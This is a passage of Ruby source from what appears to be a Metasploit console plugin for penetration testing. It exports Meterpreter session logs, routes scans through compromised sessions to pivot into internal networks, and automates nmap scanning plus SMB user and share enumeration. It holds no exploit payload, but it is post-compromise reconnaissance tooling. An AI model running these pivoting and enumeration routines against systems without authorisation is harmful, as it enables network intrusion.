856 | if not e.info.nil? and e.info.has_key?(:command) and e.info[:session_type] =~ /meter/
857 | if e.info[:command] != "load stdapi"
858 | if not sessions_uuids.include?(e.info[:session_uuid])
859 | sessions_uuids << e.info[:session_uuid]
860 | sessions_info << {:uuid => e.info[:session_uuid],
861 | :type => e.info[:session_type],
862 | :id => e.info[:session_id],
863 | :info => e.info[:session_info]}
864 | end
865 | end
866 | end
867 | end
868 |
869 | sessions_uuids.each do |su|
870 | sessions_info.each do |i|
871 | if su == i[:uuid]
872 | print_line("Creating RC file for Session #{i[:id]}")
873 | rc_file_name = "#{framework.db.workspace.name}_session_#{i[:id]}_#{::Time.now.strftime("%Y%m%d.%M%S")}.rc"
874 | i.each do |k,v|
875 | info << "#{k.to_s}: #{v.to_s} "
876 | end
877 | break
878 | end
879 | end
880 | rc_file << "# Info: #{info}\n"
881 | info = ""
882 | framework.db.workspace.events.each do |e|
883 | if not e.info.nil? and e.info.has_key?(:command) and e.info.has_key?(:session_uuid)
884 | if e.info[:session_uuid] == su
885 | rc_file << "# command executed at #{e.created_at}\n"
886 | rc_file << "#{e.info[:command]}\n"
887 | end
888 | end
889 | end
890 | # Set RC file path and file name
891 | consonle_rc_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
892 | rc_full_path = ::File.join(consonle_rc_path,rc_file_name)
893 | print_line("Saving RC file to #{rc_full_path}")
894 | file_write(rc_full_path, rc_file)
895 | rc_file = ""
896 | print_line("RC file written")
897 | rc_list << rc_full_path
898 | end
899 |
900 | return rc_list
901 | end
902 |
903 | # Method for exporting session history with output
904 | #-------------------------------------------------------------------------------------------
905 | def make_sessions_logs
906 | sessions_uuids = []
907 | sessions_info = []
908 | info = ""
909 | hist_file = ""
910 | hist_file_name = ""
911 | log_list = []
912 |
913 | # Create list of sessions with base info
914 | framework.db.workspace.events.each do |e|
915 | if not e.info.nil? and e.info[:session_type] =~ /shell/ or e.info[:session_type] =~ /meter/
916 | if e.info[:command] != "load stdapi"
917 | if not sessions_uuids.include?(e.info[:session_uuid])
918 | sessions_uuids << e.info[:session_uuid]
919 | sessions_info << {:uuid => e.info[:session_uuid],
920 | :type => e.info[:session_type],
921 | :id => e.info[:session_id],
922 | :info => e.info[:session_info]}
923 | end
924 | end
925 | end
926 | end
927 |
928 | sessions_uuids.each do |su|
929 | sessions_info.each do |i|
930 | if su == i[:uuid]
931 | print_line("Exporting Session #{i[:id]} history")
932 | hist_file_name = "#{framework.db.workspace.name}_session_#{i[:id]}_#{::Time.now.strftime("%Y%m%d.%M%S")}.log"
933 | i.each do |k,v|
934 | info << "#{k.to_s}: #{v.to_s} "
935 | end
936 | break
937 | end
938 | end
939 | hist_file << "# Info: #{info}\n"
940 | info = ""
941 | framework.db.workspace.events.each do |e|
942 | if not e.info.nil? and e.info.has_key?(:command) or e.info.has_key?(:output)
943 | if e.info[:session_uuid] == su
944 | if e.info.has_key?(:command)
945 | hist_file << "#{e.updated_at}\n"
946 | hist_file << "#{e.info[:command]}\n"
947 | elsif e.info.has_key?(:output)
948 | hist_file << "#{e.updated_at}\n"
949 | hist_file << "#{e.info[:output]}\n"
950 | end
951 | end
952 | end
953 | end
954 |
955 | # Set RC file path and file name
956 | session_hist_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
957 | session_hist_fullpath = ::File.join(session_hist_path,hist_file_name)
958 |
959 | # Create folder
960 | ::FileUtils.mkdir_p(session_hist_path)
961 |
962 | print_line("Saving log file to #{session_hist_fullpath}")
963 | file_write(session_hist_fullpath, hist_file)
964 | hist_file = ""
965 | print_line("Log file written")
966 | log_list << session_hist_fullpath
967 | end
968 |
969 | return log_list
970 | end
971 |
972 | # Compress a given folder given it's path
973 | #-------------------------------------------------------------------------------------------
974 | def compress(path,archive)
975 | require 'zip/zip'
976 | require 'zip/zipfilesystem'
977 |
978 | path.sub!(%r[/$],'')
979 | ::Zip::ZipFile.open(archive, 'w') do |zipfile|
980 | Dir["#{path}/**/**"].reject{|f|f==archive}.each do |file|
981 | print_line("Adding #{file} to archive")
982 | zipfile.add(file.sub(path+'/',''),file)
983 | end
984 | end
985 | print_line("All files saved to #{archive}")
986 | end
987 |
988 | # Method to write string to file
989 | def file_write(file2wrt, data2wrt)
990 | if not ::File.exists?(file2wrt)
991 | ::FileUtils.touch(file2wrt)
992 | end
993 |
994 | output = ::File.open(file2wrt, "a")
995 | data2wrt.each_line do |d|
996 | output.puts(d)
997 | end
998 | output.close
999 | end
1000 |
1001 | # Method to create MD5 of given file
1002 | def digestmd5(file2md5)
1003 | if not ::File.exists?(file2md5)
1004 | raise "File #{file2md5} does not exists!"
1005 | else
1006 | require 'digest/md5'
1007 | chksum = nil
1008 | chksum = Digest::MD5.hexdigest(::File.open(file2md5, "rb") { |f| f.read})
1009 | return chksum
1010 | end
1011 | end
1012 |
1013 | # Method that returns a hash of projects
1014 | def project_list
1015 | project_folders = Dir::entries(::File.join(Msf::Config.log_directory,"projects"))
1016 | projects = []
1017 | framework.db.workspaces.each do |s|
1018 | if project_folders.include?(s.name)
1019 | projects << s.name
1020 | end
1021 | end
1022 | return projects
1023 | end
1024 |
1025 | end
1026 |
1027 | # Discovery handling commands
1028 | ################################################################################################
1029 | class DiscoveryCommandDispatcher
1030 | include Msf::Ui::Console::CommandDispatcher
1031 |
1032 | # Set name for command dispatcher
1033 | def name
1034 | "Discovery"
1035 | end
1036 |
1037 |
1038 | # Define Commands
1039 | def commands
1040 | {
1041 | "network_discover" => "Performs a port-scan and enumeration of services found for non pivot networks.",
1042 | "discover_db" => "Run discovery modules against current hosts in the database.",
1043 | "show_session_networks" => "Enumerate the networks one could pivot thru Meterpreter in the active sessions.",
1044 | "pivot_network_discover" => "Performs enumeration of networks available to a specified Meterpreter session."
1045 | }
1046 | end
1047 |
1048 |
1049 | def cmd_discover_db(*args)
1050 | # Variables
1051 | range = []
1052 | filter = []
1053 | smb_user = nil
1054 | smb_pass = nil
1055 | smb_dom = "WORKGROUP"
1056 | maxjobs = 30
1057 | verbose = false
1058 |
1059 | # Define options
1060 | opts = Rex::Parser::Arguments.new(
1061 | "-r" => [ true, "Provide a IPRange or CIDR to run discovery module against."],
1062 | "-U" => [ true, "SMB User-name for discovery(optional)."],
1063 | "-P" => [ true, "SMB Password for discovery(optional)."],
1064 | "-D" => [ true, "SMB Domain for discovery(optional)."],
1065 | "-j" => [ true, "Max number of concurrent jobs. Default is 30"],
1066 | "-v" => [ false, "Be Verbose when running jobs."],
1067 | "-h" => [ false, "Help Message."]
1068 | )
1069 |
1070 | opts.parse(args) do |opt, idx, val|
1071 | case opt
1072 |
1073 | when "-r"
1074 | range = val
1075 | when "-U"
1076 | smb_user = val
1077 | when "-P"
1078 | smb_pass = val
1079 | when "-D"
1080 | smb_dom = val
1081 | when "-j"
1082 | maxjobs = val.to_i
1083 | when "-v"
1084 | verbose = true
1085 | when "-h"
1086 | print_line opts.usage
1087 | return
1088 | end
1089 | end
1090 |
1091 | # generate a list of IPs to filter
1092 | Rex::Socket::RangeWalker.new(range).each do |i|
1093 | filter << i
1094 | end
1095 | #after_hosts = framework.db.workspace.hosts.find_all_by_state("alive")
1096 | framework.db.workspace.hosts.each do |h|
1097 | if filter.empty?
1098 | run_smb(h.services.where(state: "open"),smb_user,smb_pass,smb_dom,maxjobs, verbose)
1099 | run_version_scans(h.services.where(state: "open"),maxjobs, verbose)
1100 | else
1101 | if filter.include?(h.address)
1102 | # Run the discovery modules for the services of each host
1103 | run_smb(h.services,smb_user,smb_pass,smb_dom,maxjobs, verbose)
1104 | run_version_scans(h.services,maxjobs, verbose)
1105 | end
1106 | end
1107 | end
1108 | end
1109 |
1110 |
1111 | def cmd_show_session_networks(*args)
1112 | #option variables
1113 | session_list = nil
1114 | opts = Rex::Parser::Arguments.new(
1115 | "-s" => [ true, "Sessions to enumerate networks against. Example or <1,2,3,4>."],
1116 | "-h" => [ false, "Help Message."]
1117 | )
1118 |
1119 | opts.parse(args) do |opt, idx, val|
1120 | case opt
1121 | when "-s"
1122 | if val =~ /all/i
1123 | session_list = framework.sessions.keys
1124 | else
1125 | session_list = val.split(",")
1126 | end
1127 | when "-h"
1128 | print_line("This command will show the networks that can be routed thru a Meterpreter session.")
1129 | print_line(opts.usage)
1130 | return
1131 | else
1132 | print_line("This command will show the networks that can be routed thru a Meterpreter session.")
1133 | print_line(opts.usage)
1134 | return
1135 | end
1136 | end
1137 | tbl = ::Rex::Text::Table.new(
1138 | 'Columns' => [
1139 | 'Network',
1140 | 'Netmask',
1141 | 'Session'
1142 | ])
1143 | # Go thru each sessions specified
1144 | if !session_list.nil?
1145 | session_list.each do |si|
1146 | # check that session actually exists
1147 | if framework.sessions.keys.include?(si.to_i)
1148 | # Get session object
1149 | session = framework.sessions.get(si.to_i)
1150 | # Check that it is a Meterpreter session
1151 | if (session.type == "meterpreter")
1152 | session.net.config.each_route do |route|
1153 | # Remove multicast and loopback interfaces
1154 | next if route.subnet =~ /^(224\.|127\.)/
1155 | next if route.subnet == '0.0.0.0'
1156 | next if route.netmask == '255.255.255.255'
1157 | tbl << [route.subnet, route.netmask, si]
1158 | end
1159 | end
1160 | end
1161 | end
1162 | else
1163 | print_error("No Sessions specified.")
1164 | return
1165 | end
1166 |
1167 | print_line(tbl.to_s)
1168 | end
1169 |
1170 |
1171 | def cmd_pivot_network_discover(*args)
1172 | #option variables
1173 | session_id = nil
1174 | port_scan = false
1175 | udp_scan = false
1176 | disc_mods = false
1177 | smb_user = nil
1178 | smb_pass = nil
1179 | smb_dom = "WORKGROUP"
1180 | verbose = false
1181 | port_lists = []
1182 |
1183 | opts = Rex::Parser::Arguments.new(
1184 | "-s" => [ true, "Session to do discovery of networks and hosts."],
1185 | "-t" => [ false, "Perform TCP port scan of hosts discovered."],
1186 | "-u" => [ false, "Perform UDP scan of hosts discovered."],
1187 | "-p" => [ true, "Port list. Provide a comma separated list of port and/or ranges to TCP scan."],
1188 | "-d" => [ false, "Run Framework discovery modules against found hosts."],
1189 | "-U" => [ true, "SMB User-name for discovery(optional)."],
1190 | "-P" => [ true, "SMB Password for discovery(optional)."],
1191 | "-D" => [ true, "SMB Domain for discovery(optional)."],
1192 | "-v" => [ false, "Be verbose and show pending actions."],
1193 | "-h" => [ false, "Help Message."]
1194 | )
1195 |
1196 | opts.parse(args) do |opt, idx, val|
1197 | case opt
1198 | when "-s"
1199 | session_id = val.to_i
1200 | when "-t"
1201 | port_scan = true
1202 | when "-u"
1203 | udp_scan = true
1204 | when "-d"
1205 | disc_mods = true
1206 | when "-U"
1207 | smb_user = val
1208 | when "-P"
1209 | smb_pass = val
1210 | when "-D"
1211 | smb_dom = val
1212 | when "-v"
1213 | verbose = true
1214 | when "-p"
1215 | port_lists = port_lists + Rex::Socket.portspec_crack(val)
1216 | when "-h"
1217 | print_line(opts.usage)
1218 | return
1219 | else
1220 | print_line(opts.usage)
1221 | return
1222 | end
1223 | end
1224 |
1225 | if session_id.nil?
1226 | print_error("You need to specify a Session to do discovery against.")
1227 | print_line(opts.usage)
1228 | return
1229 | end
1230 | # Static UDP port list
1231 | udp_ports = [53,67,137,161,123,138,139,1434,5093,523,1604]
1232 |
1233 | # Variable to hold the array of networks that we will discover
1234 | networks = []
1235 | # Switchboard instace for routing
1236 | sb = Rex::Socket::SwitchBoard.instance
1237 | if framework.sessions.keys.include?(session_id.to_i)
1238 | # Get session object
1239 | session = framework.sessions.get(session_id.to_i)
1240 | if (session.type == "meterpreter")
1241 | # Collect addresses to help determine the best method for discovery
1242 | int_addrs = []
1243 | session.net.config.interfaces.each do |i|
1244 | int_addrs = int_addrs + i.addrs
1245 | end
1246 | print_status("Identifying networks to discover")
1247 | session.net.config.each_route { |route|
1248 | # Remove multicast and loopback interfaces
1249 | next if route.subnet =~ /^(224\.|127\.)/
1250 | next if route.subnet == '0.0.0.0'
1251 | next if route.netmask == '255.255.255.255'
1252 | # Save the network in to CIDR format
1253 | networks << "#{route.subnet}/#{Rex::Socket.addr_atoc(route.netmask)}"
1254 | if port_scan || udp_scan
1255 | if not sb.route_exists?(route.subnet, route.netmask)
1256 | print_status("Routing new subnet #{route.subnet}/#{route.netmask} through session #{session.sid}")
1257 | sb.add_route(route.subnet, route.netmask, session)
1258 | end
1259 | end
1260 | }
1261 | # Run ARP Scan and Ping Sweep for each of the networks
1262 | networks.each do |n|
1263 | opt = {"RHOSTS" => n}
1264 | # Check if any of the networks is directly connected. If so use ARP Scanner
1265 | net_ips = []
1266 | Rex::Socket::RangeWalker.new(n).each {|i| net_ips << i}
1267 | if int_addrs.any? {|ip| net_ips.include?(ip) }
1268 | run_post(session_id, "windows/gather/arp_scanner", opt)
1269 | else
1270 | run_post(session_id, "multi/gather/ping_sweep", opt)
1271 | end
1272 | end
1273 |
1274 | # See what hosts where discovered via the ping scan and ARP Scan
1275 | hosts_on_db = framework.db.workspace.hosts.map { |h| h.address}
1276 |
1277 | if port_scan
1278 | if port_lists.length > 0
1279 | ports = port_lists
1280 | else
1281 | # Generate port list that are supported by modules in Metasploit
1282 | ports = get_tcp_port_list
1283 | end
1284 | end
1285 |
1286 | networks.each do |n|
1287 | print_status("Discovering #{n} Network")
1288 | net_hosts = []
1289 | Rex::Socket::RangeWalker.new(n).each {|i| net_hosts << i}
1290 | found_ips = hosts_on_db & net_hosts
1291 |
1292 | # run portscan against hosts in this network
1293 | if port_scan
1294 | found_ips.each do |t|
1295 | print_good("Running TCP Portscan against #{t}")
1296 | run_aux_module("scanner/portscan/tcp", {"RHOSTS" => t,
1297 | "PORTS"=> (ports * ","),
1298 | "THREADS" => 5,
1299 | "CONCURRENCY" => 50,
1300 | "ConnectTimeout" => 1})
1301 | jobwaiting(10,false, "scanner")
1302 | end
1303 | end
1304 |
1305 | # if a udp port scan was selected lets execute it
1306 | if udp_scan
1307 | found_ips.each do |t|
1308 | print_good("Running UDP Portscan against #{t}")
1309 | run_aux_module("scanner/discovery/udp_probe", {"RHOSTS" => t,
1310 | "PORTS"=> (udp_ports * ","),
1311 | "THREADS" => 5})
1312 | jobwaiting(10,false,"scanner")
1313 | end
1314 | end
1315 |
1316 | # Wait for the scanners to finish before running the discovery modules
1317 | if port_scan || udp_scan
1318 | print_status("Waiting for scans to finish")
1319 | finish_scanning = false
1320 | while not finish_scanning
1321 | ::IO.select(nil, nil, nil, 2.5)
1322 | count = get_job_count
1323 | if verbose
1324 | print_status("\t#{count} scans pending")
1325 | end
1326 | if count == 0
1327 | finish_scanning = true
1328 | end
1329 | end
1330 | end
1331 |
1332 | # Run discovery modules against the services that are for the hosts in the database
1333 | if disc_mods
1334 | found_ips.each do |t|
1335 | host = framework.db.find_or_create_host(:host => t)
1336 | found_services = host.services.where(state: "open")
1337 | if found_services.length > 0
1338 | print_good("Running SMB discovery against #{t}")
1339 | run_smb(found_services,smb_user,smb_pass,smb_dom,10,true)
1340 | print_good("Running service discovery against #{t}")
1341 | run_version_scans(found_services,10,true)
1342 | else
1343 | print_status("No new services where found to enumerate.")
1344 | end
1345 | end
1346 | end
1347 | end
1348 | end
1349 | else
1350 | print_error("The Session specified does not exist")
1351 | end
1352 | end
1353 |
1354 |
1355 | # Network Discovery command
1356 | def cmd_network_discover(*args)
1357 | # Variables
1358 | scan_type = "-A"
1359 | range = ""
1360 | disc_mods = false
1361 | smb_user = nil
1362 | smb_pass = nil
1363 | smb_dom = "WORKGROUP"
1364 | maxjobs = 30
1365 | verbose = false
1366 | port_lists = []
1367 | # Define options
1368 | opts = Rex::Parser::Arguments.new(
1369 | "-r" => [ true, "IP Range to scan in CIDR format."],
1370 | "-d" => [ false, "Run Framework discovery modules against found hosts."],
1371 | "-u" => [ false, "Perform UDP Scanning. NOTE: Must be ran as root."],
1372 | "-U" => [ true, "SMB User-name for discovery(optional)."],
1373 | "-P" => [ true, "SMB Password for discovery(optional)."],
1374 | "-D" => [ true, "SMB Domain for discovery(optional)."],
1375 | "-j" => [ true, "Max number of concurrent jobs. Default is 30"],
1376 | "-p" => [ true, "Port list. Provide a comma separated list of port and/or ranges to TCP scan."],
1377 | "-v" => [ false, "Be Verbose when running jobs."],
1378 | "-h" => [ true, "Help Message."]
1379 | )
1380 |
1381 | if args.length == 0
1382 | print_line opts.usage
1383 | return
1384 | end
1385 |
1386 | opts.parse(args) do |opt, idx, val|
1387 | case opt
1388 |
1389 | when "-r"
1390 | # Make sure no spaces are in the range definition
1391 | range = val.gsub(" ","")
1392 | when "-d"
1393 | disc_mods = true
1394 | when "-u"
1395 | scan_type = "-sU"
1396 | when "-U"
1397 | smb_user = val
1398 | when "-P"
1399 | smb_pass = val
1400 | when "-D"
1401 | smb_dom = val
1402 | when "-j"
1403 | maxjobs = val.to_i
1404 | when "-v"
1405 | verbose = true
1406 | when "-p"
1407 | port_lists = port_lists + Rex::Socket.portspec_crack(val)
1408 | when "-h"
1409 | print_line opts.usage
1410 | return
1411 | end
1412 | end
1413 |
1414 | # Static UDP port list
1415 | udp_ports = [53,67,137,161,123,138,139,1434,5093,523,1604]
1416 |
1417 | # Check that the ragne is a valid one
1418 | ip_list = Rex::Socket::RangeWalker.new(range)
1419 | ips_given = []
1420 | if ip_list.length == 0
1421 | print_error("The IP Range provided appears to not be valid.")
1422 | else
1423 | ip_list.each do |i|
1424 | ips_given << i
1425 | end
1426 | end
1427 |
1428 | # Get the list of IP's that are routed thru a Pivot
1429 | route_ips = get_routed_ips
1430 |
1431 | if port_lists.length > 0
1432 | ports = port_lists
1433 | else
1434 | # Generate port list that are supported by modules in Metasploit
1435 | ports = get_tcp_port_list
1436 | end
1437 | if (ips_given.any? {|ip| route_ips.include?(ip)})
1438 | print_error("Trying to scan thru a Pivot please use pivot_net_discovery command")
1439 | return
1440 | else
1441 | # Collect current set of hosts and services before the scan
1442 | current_hosts = framework.db.workspace.hosts.where(state: "alive")
1443 | current_services = framework.db.workspace.services.where(state: "open")
1444 |
1445 | # Run the nmap scan, this will populate the database with the hosts and services that will be processed by the discovery modules
1446 | if scan_type =~ /-A/
1447 | cmd_str = "#{scan_type} -T4 -p #{ports * ","} --max-rtt-timeout=500ms --initial-rtt-timeout=200ms --min-rtt-timeout=200ms --open --stats-every 5s #{range}"
1448 | run_porscan(cmd_str)
1449 | else
1450 | cmd_str = "#{scan_type} -T4 -p #{udp_ports * ","} --max-rtt-timeout=500ms --initial-rtt-timeout=200ms --min-rtt-timeout=200ms --open --stats-every 5s #{range}"
1451 | run_porscan(cmd_str)
1452 | end
1453 | # Get a list of the new hosts and services after the scan and extract the new services and hosts
1454 | after_hosts = framework.db.workspace.hosts.where(state: "alive")
1455 | after_services = framework.db.workspace.services.where(state: "open")
1456 | new_hosts = after_hosts - current_hosts
1457 | print_good("New hosts found: #{new_hosts.count}")
1458 | new_services = after_services - current_services
1459 | print_good("New services found: #{new_services.count}")
1460 | end
1461 |
1462 | if disc_mods
1463 | # Do service discovery only if new services where found
1464 | if new_services.count > 0
1465 | run_smb(new_services,smb_user,smb_pass,smb_dom,maxjobs,verbose)
1466 | run_version_scans(new_services,maxjobs,verbose)
1467 | else
1468 | print_status("No new services where found to enumerate.")
1469 | end
1470 | end
1471 | end
1472 |
1473 |
1474 | # Run Post Module against specified session and hash of options
1475 | def run_post(session, mod, opts)
1476 | m = framework.post.create(mod)
1477 | begin
1478 | # Check that the module is compatible with the session specified
1479 | if m.session_compatible?(session.to_i)
1480 | m.datastore['SESSION'] = session.to_i
1481 | # Process the option provided as a hash
1482 | opts.each do |o,v|
1483 | m.datastore[o] = v
1484 | end
1485 | # Validate the Options
1486 | m.options.validate(m.datastore)
1487 | # Inform what Post module is being ran
1488 | print_status("Running #{mod} against #{session}")
1489 | # Execute the Post Module
1490 | m.run_simple(
1491 | 'LocalInput' => driver.input,
1492 | 'LocalOutput' => driver.output
1493 | )
1494 | end
1495 | rescue
1496 | print_error("Could not run post module against sessions #{s}")
1497 | end
1498 | end
1499 |
1500 |
1501 | # Remove services marked as close
1502 | def cleanup()
1503 | print_status("Removing services reported as closed from the workspace...")
1504 | framework.db.workspace.services.where(state: "closed").each do |s|
1505 | s.destroy
1506 | end
1507 | print_status("All services reported removed.")
1508 | end
1509 |
1510 |
1511 | # Get the specific count of jobs which name contains a specified text
1512 | def get_job_count(type="scanner")
1513 | job_count = 0
1514 | framework.jobs.each do |k,j|
1515 | if j.name =~ /#{type}/
1516 | job_count = job_count + 1
1517 | end
1518 | end
1519 | return job_count
1520 | end
1521 |
1522 |
1523 | # Wait for commands to finish
1524 | def jobwaiting(maxjobs, verbose, jtype)
1525 | while(get_job_count(jtype) >= maxjobs)
1526 | ::IO.select(nil, nil, nil, 2.5)
1527 | if verbose
1528 | print_status("waiting for some modules to finish")
1529 | end
1530 | end
1531 | end
1532 |
1533 |
1534 | # Get a list of IP's that are routed thru a Meterpreter sessions
1535 | # Note: This one bit me hard!! in testing. Make sure that the proper module is ran against
1536 | # the proper host
1537 | def get_routed_ips
1538 | routed_ips = []
1539 | pivot = Rex::Socket::SwitchBoard.instance
1540 | unless (pivot.routes.to_s == "") || (pivot.routes.to_s == "[]")
1541 | pivot.routes.each do |r|
1542 | sn = r.subnet
1543 | nm = r.netmask
1544 | cidr = Rex::Socket.addr_atoc(nm)
1545 | pivot_ip_range = Rex::Socket::RangeWalker.new("#{sn}/#{cidr}")
1546 | pivot_ip_range.each do |i|
1547 | routed_ips << i
1548 | end
1549 | end
1550 | end
1551 | return routed_ips
1552 | end
1553 |
1554 |
1555 | # Method for running auxiliary modules given the module name and options in a hash
1556 | def run_aux_module(mod, opts, as_job=true)
1557 | m = framework.auxiliary.create(mod)
1558 | if !m.nil?
1559 | opts.each do |o,v|
1560 | m.datastore[o] = v
1561 | end
1562 | m.options.validate(m.datastore)
1563 | m.run_simple(
1564 | 'LocalInput' => driver.input,
1565 | 'LocalOutput' => driver.output,
1566 | 'RunAsJob' => as_job
1567 | )
1568 | else
1569 | print_error("Module #{mod} does not exist")
1570 | return
1571 | end
1572 | end
1573 |
1574 |
1575 | # Generate an up2date list of ports used by exploit modules
1576 | def get_tcp_port_list
1577 | # UDP ports
1578 | udp_ports = [53,67,137,161,123,138,139,1434]
1579 |
1580 | # Ports missing by the autogen
1581 | additional_ports = [465,587,995,993,5433,50001,50002,1524, 6697, 8787, 41364, 48992, 49663, 59034]
1582 |
1583 | print_status("Generating list of ports used by Auxiliary Modules")
1584 | ap = (framework.auxiliary.collect { |n,e| x=e.new; x.datastore['RPORT'].to_i}).compact
1585 | print_status("Generating list of ports used by Exploit Modules")
1586 | ep = (framework.exploits.collect { |n,e| x=e.new; x.datastore['RPORT'].to_i}).compact
1587 |
1588 | # Join both list removing the duplicates
1589 | port_list = (((ap | ep) - [0,1]) - udp_ports) + additional_ports
1590 | return port_list
1591 | end
1592 |
1593 |
1594 | # Run Nmap scan with values provided
1595 | def run_porscan(cmd_str)
1596 | print_status("Running NMap with options #{cmd_str}")
1597 | driver.run_single("db_nmap #{cmd_str}")
1598 | return true
1599 | end
1600 |
1601 |
1602 | # Run SMB Enumeration modules
1603 | def run_smb(services, user, pass, dom, maxjobs, verbose)
1604 | smb_mods = [
1605 | {"mod" => "scanner/smb/smb_version", "opt" => nil},
1606 | {"mod" => "scanner/smb/smb_enumusers", "opt" => nil},
1607 | {"mod" => "scanner/smb/smb_enumshares", "opt" => nil},
1608 | ]
1609 | smb_mods.each do |p|
1610 | m = framework.auxiliary.create(p["mod"])
1611 | services.each do |s|
1612 | if s.port == 445
1613 | m.datastore['RHOSTS'] = s.host.address
1614 | if not user.nil? and pass.nil?
1615 | m.datastore['SMBUser'] = user
1616 | m.datastore['SMBPass'] = pass
1617 | m.datastore['SMBDomain'] = dom
1618 | end
1619 | m.options.validate(m.datastore)
1620 | print_status("Running #{p['mod']} against #{s.host.address}")
1621 | m.run_simple(
1622 | 'LocalInput' => driver.input,
1623 | 'LocalOutput' => driver.output
1624 | )
1625 | end
1626 |
1627 | end
1628 | jobwaiting(maxjobs,verbose,"scanner")
1629 | end
1630 | end
1631 |
1632 |
1633 | # Run version and discovery auxiliary modules depending on port that is open
1634 | def run_version_scans(services, maxjobs, verbose)
1635 | # Run version scan by identified services
1636 | services.each do |s|
1637 | if (s.port == 135) and s.info.to_s == ""
1638 | opts = {'RHOSTS' => s.host.address}
1639 | run_aux_module("scanner/netbios/nbname_probe",opts)
1640 | jobwaiting(maxjobs,verbose,"scanner")
1641 |
1642 | elsif (s.name.to_s == "http" || s.port == 80) and s.info.to_s == ""
1643 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1644 | run_aux_module("scanner/http/http_version",opts)
1645 | run_aux_module("scanner/http/robots_txt",opts)
1646 | run_aux_module("scanner/http/open_proxy",opts)
1647 | run_aux_module("scanner/http/webdav_scanner",opts)
1648 | run_aux_module("scanner/http/http_put",opts)
1649 | jobwaiting(maxjobs,verbose,"scanner")
1650 | next
1651 |
1652 | elsif (s.port == 1720) and s.info.to_s == ""
1653 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1654 | run_aux_module("scanner/h323/h323_version",opts)
1655 | jobwaiting(maxjobs,verbose,"scanner")
1656 | next
1657 |
1658 | elsif (s.name.to_s =~ /http/ or s.port == 443) and s.info.to_s == ""
1659 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
1660 | run_aux_module("scanner/http/http_version",opts)
1661 | run_aux_module("scanner/vmware/esx_fingerprint",opts)
1662 | run_aux_module("scanner/http/robots_txt",opts)
1663 | run_aux_module("scanner/http/open_proxy",opts)
1664 | run_aux_module("scanner/http/webdav_scanner",opts)
1665 | run_aux_module("scanner/http/http_put",opts)
1666 | jobwaiting(maxjobs,verbose,"scanner")
1667 | next
1668 |
1669 | elsif (s.name.to_s == "ftp" or s.port == 21) and s.info.to_s == ""
1670 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1671 | run_aux_module("scanner/ftp/ftp_version",opts)
1672 | run_aux_module("scanner/ftp/anonymous",opts)
1673 | jobwaiting(maxjobs,verbose,"scanner")
1674 | next
1675 |
1676 | elsif (s.name.to_s == "telnet" or s.port == 23) and s.info.to_s == ""
1677 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1678 | run_aux_module("scanner/telnet/telnet_version",opts)
1679 | run_aux_module("scanner/telnet/telnet_encrypt_overflow",opts)
1680 | jobwaiting(maxjobs,verbose,"scanner")
1681 | next
1682 |
1683 | elsif (s.name.to_s =~ /vmware-auth|vmauth/ or s.port == 902) and s.info.to_s == ""
1684 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1685 | run_aux_module("scanner/vmware/vmauthd_version)",opts)
1686 | jobwaiting(maxjobs,verbose,"scanner")
1687 | next
1688 |
1689 | elsif (s.name.to_s == "ssh" or s.port == 22) and s.info.to_s == ""
1690 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1691 | run_aux_module("scanner/ssh/ssh_version",opts)
1692 | jobwaiting(maxjobs,verbose,"scanner")
1693 | next
1694 |
1695 | elsif (s.name.to_s == "smtp" or s.port.to_s =~/25|465|587/) and s.info.to_s == ""
1696 | if s.port == 465
1697 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
1698 | else
1699 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1700 | end
1701 | run_aux_module("scanner/smtp/smtp_version",opts)
1702 | jobwaiting(maxjobs,verbose,"scanner")
1703 | next
1704 |
1705 | elsif (s.name.to_s == "pop3" or s.port.to_s =~/110|995/) and s.info.to_s == ""
1706 | if s.port == 995
1707 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
1708 | else
1709 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1710 | end
1711 | run_aux_module("scanner/pop3/pop3_version",opts)
1712 | jobwaiting(maxjobs,verbose,"scanner")
1713 | next
1714 |
1715 | elsif (s.name.to_s == "imap" or s.port.to_s =~/143|993/) and s.info.to_s == ""
1716 | if s.port == 993
1717 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
1718 | else
1719 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1720 | end
1721 | run_aux_module("scanner/imap/imap_version",opts)
1722 | jobwaiting(maxjobs,verbose,"scanner")
1723 | next
1724 |
1725 | elsif (s.name.to_s == "mssql" or s.port == 1433) and s.info.to_s == ""
1726 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1727 | run_aux_module("scanner/mssql/mssql_versione",opts)
1728 | jobwaiting(maxjobs,verbose,"scanner")
1729 | next
1730 |
1731 | elsif (s.name.to_s == "postgres" or s.port.to_s =~/5432|5433/) and s.info.to_s == ""
1732 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
1733 | run_aux_module("scanner/postgres/postgres_version",opts)
1734 | jobwaiting(maxjobs,verbose, "scanner")
1735 | next
1736 |
1737 | elsif (s.name.to_s == "mysql" or s.port == 3306) and s.info.to_s == ""
1738 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1739 | run_aux_module("scanner/mysql/mysql_version",opts)
1740 | jobwaiting(maxjobs,verbose, "scanner")
1741 | next
1742 |
1743 | elsif (s.name.to_s =~ /h323/ or s.port == 1720) and s.info.to_s == ""
1744 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1745 | run_aux_module("scanner/h323/h323_version",opts)
1746 | jobwaiting(maxjobs,verbose, "scanner")
1747 | next
1748 |
1749 | elsif (s.name.to_s =~ /afp/ or s.port == 548)
1750 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1751 | run_aux_module("scanner/afp/afp_server_info",opts)
